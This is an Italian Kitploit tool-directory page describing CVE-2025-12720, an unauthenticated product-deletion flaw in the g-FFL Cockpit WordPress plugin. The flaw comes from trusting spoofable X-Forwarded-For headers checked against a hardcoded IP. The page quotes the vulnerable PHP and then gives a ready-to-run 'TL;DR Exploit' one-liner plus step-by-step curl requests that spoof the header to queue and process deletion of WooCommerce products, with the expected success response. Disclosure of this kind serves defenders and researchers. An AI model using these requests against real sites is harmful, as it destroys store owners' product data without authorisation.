Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-12720 — g-FFL Cockpit <= 1.7.1 - Autorizzazione impropria alla cancellazione del prodotto senza autenticazione | Kitploit
Strumenti/GitHubGitHub/d0n601/cve-2025-12720
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebTest di Sicurezza delle APIAutenticazioneConfigurazione Errata
GitHubd0n601/cve-2025-12720

CVE-2025-12720

g-FFL Cockpit <= 1.7.1 - Autorizzazione impropria alla cancellazione del prodotto senza autenticazione

Vedi Repository
610 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

g-FFL Cockpit <= 1.7.1 - Eliminazione arbitraria di prodotti non autenticata

Il plugin g-FFL Cockpit non implementa controlli di autorizzazione adeguati sugli endpoint REST API queue e process, consentendo a utenti non autenticati di eliminare prodotti WooCommerce arbitrari spoofando gli header HTTP per bypassare l'autenticazione basata su IP.

TL;DR Exploit

root@kitploit:~
TARGET_SITE="http://example.com"
curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/queue -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json" -d '{"action":"delete","products":[{"id":105}]}' && curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/process -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json"

Dettagli

Gli endpoint REST API e utilizzano un'autenticazione basata su IP che può essere bypassata spoofando gli header HTTP o . Il meccanismo di autenticazione si basa su che si fida di header controllabili dall'utente e verifica un indirizzo IP hardcoded memorizzato nel codice sorgente del plugin.

queue
process
X-Forwarded-For
CF-Connecting-IP
get_client_ip()

Situato in class-sync-endpoint.php:

root@kitploit:~
34:        register_rest_route('fflcockpit/v1', '/queue', [
35:            'methods' => 'POST',
36:            'callback' => [__CLASS__, 'handle_enqueue_only'],
37:            'permission_callback' => fn() => self::fflcockpit_is_allowed(self::$fflckey),
38:        ]);

La funzione fflcockpit_is_allowed() utilizza un indirizzo IP hardcoded (base64: My4yMTIuMTg1LjE4Nw==, decodificato: 3.212.185.187) visibile nel codice sorgente del plugin.

Frammento vulnerabile da class-sync-endpoint.php:

root@kitploit:~
11:    private static function get_client_ip(): string {
12:        $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
13:        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
14:            // CloudFlare can also have multiple IPs, parse like X-Forwarded-For
15:            $cf_ips = explode(',', $_SERVER['HTTP_CF_CONNECTING_IP']);
16:            $ip = trim($cf_ips[0]);  // ⚠️ Trusts user-controlled header
17:        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18:            $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
19:            $ip = trim($forwarded_ips[0]);  // ⚠️ Trusts user-controlled header
20:        }
21:        return trim($ip);
22:    }

La funzione process_product() instrada le operazioni di eliminazione verso sql_delete_product(), che esegue l'eliminazione SQL diretta dei prodotti WooCommerce.

Implementazione dell'eliminazione vulnerabile da class-update-processor.php:

root@kitploit:~
634:            // Delete the product post
635:            $deleted = $wpdb->delete($wpdb->posts, ['ID' => $product_id], ['%d']);
636:
637:            if ($deleted === false) {
638:                $wpdb->query('ROLLBACK');
639:                throw new Exception('Failed to delete product from database.');
640:            }
641:
642:            $deleted_items[] = "product_post";
643:
644:            $wpdb->query('COMMIT');

Riproduzione manuale

Nota: g-FFL Cockpit richiede WooCommerce

  1. Navigare sul sito WordPress target con il plugin g-FFL Cockpit installato.

  2. Estrarre l'indirizzo IP hardcoded dal codice sorgente del plugin. L'IP è codificato in base64 come My4yMTIuMTg1LjE4Nw== in class-sync-endpoint.php, che decodifica in 3.212.185.187.

  3. Eseguire i seguenti comandi curl per accodare ed elaborare l'eliminazione del prodotto:

root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/queue \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json" \
  -d '{"action": "delete", "products": [{"id": 105}]}'
  1. Elaborare l'eliminazione accodata per eseguire effettivamente la rimozione del prodotto:
root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/process \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json"
  1. Si riceverà la conferma che l'eliminazione è stata completata:
root@kitploit:~
{
  "status": "completed"
}

Il prodotto viene eliminato definitivamente dal database WooCommerce, inclusi tutti i metadati associati, le relazioni con i termini e le immagini.

Scarica lo strumento